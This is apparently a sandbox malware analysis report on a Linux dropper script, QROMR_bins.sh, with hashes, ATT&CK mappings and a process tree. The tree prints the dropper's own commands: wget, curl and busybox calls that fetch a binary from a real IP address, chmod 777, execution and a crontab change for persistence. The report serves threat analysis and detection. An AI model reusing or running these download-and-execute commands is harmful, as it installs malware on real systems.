b5a72a1e5e99ac9a2f9dc7e9c66e567cd2261f92604534f9e997546c5f5428b3

General

Target

QROMR_bins.sh
Size

10KB
MD5

868a25d1cb29cf4ae8a689739b0e3fa5
SHA1

bb363298ac6bc042d7a482a3bd0116c57b6448d3
SHA256

b5a72a1e5e99ac9a2f9dc7e9c66e567cd2261f92604534f9e997546c5f5428b3
SHA512

138b1ab191e4ac93cdbf3ddb24f0c569aafcac14cadd2a74f22abe254f944174226793bfcbf7e828efdf717f35150baad68a981d64dea1563ac36715b14870cc
SSDEEP

96:y64j4H4/4q4K4mJGWGrPLi01kR0lTf5NPAVt/hI4UP4g01kR0lTfpuA5zAVt/hIM:y6s06XrzaKybNPhgKyPls06XrJ

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1516 chmod
Executes dropped EXE 1 IoCs

Processes:

QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

ioc pid process

/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w 1517 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
Renames itself 1 IoCs

Processes:

QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

pid process

1518 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.9dQ8aj crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1516	chmod

ioc	pid	process
/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	1517	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

pid	process
1518	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.9dQ8aj	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

description	ioc	process
File opened for reading	/proc/5/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/11/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/21/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/165/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1549/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1572/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1577/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/472/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1530/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1603/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/887/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1145/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1254/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1534/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1589/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1598/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1618/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/32/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1542/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1617/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/10/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/179/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/428/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1169/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1594/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1607/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/8/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/15/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/526/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1078/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1136/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1600/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/80/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1619/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/256/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1111/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1508/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1511/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1588/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/35/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1576/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/28/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1061/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1593/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/161/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1101/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1119/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1151/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1330/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1546/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1581/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/405/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1180/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1550/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1560/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1573/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/79/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1142/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1304/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1564/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1602/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/473/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1035/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1539/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	wget
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	curl
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	busybox

/tmp/QROMR_bins.sh
/tmp/QROMR_bins.sh
1⤵
PID:1508
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  ./QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1517
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1519
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1520
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1521
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1522
- /bin/rm
  rm QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://216.126.231.240/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
  2⤵
  PID:1527

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.9dQ8aj

Filesize
210B

MD5
7efeedc9bda9e1e909285f2694e8258c

SHA1
25dbcda442c37eb54a4631d08a5ea85900e7c6fc

SHA256
0eb2b09dfde8abb8bf5e116953caabbe776a60f1fdca9cf6a73986b7e8c4417c

SHA512
ba01519541e4211dd3a3efb013693e0d0f11015547a370b3c28435dc9f9fdb3aa0dc92524004c350acde7daff4399ff617ecfb137e6e34cf48c7c118dcacd2ce

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads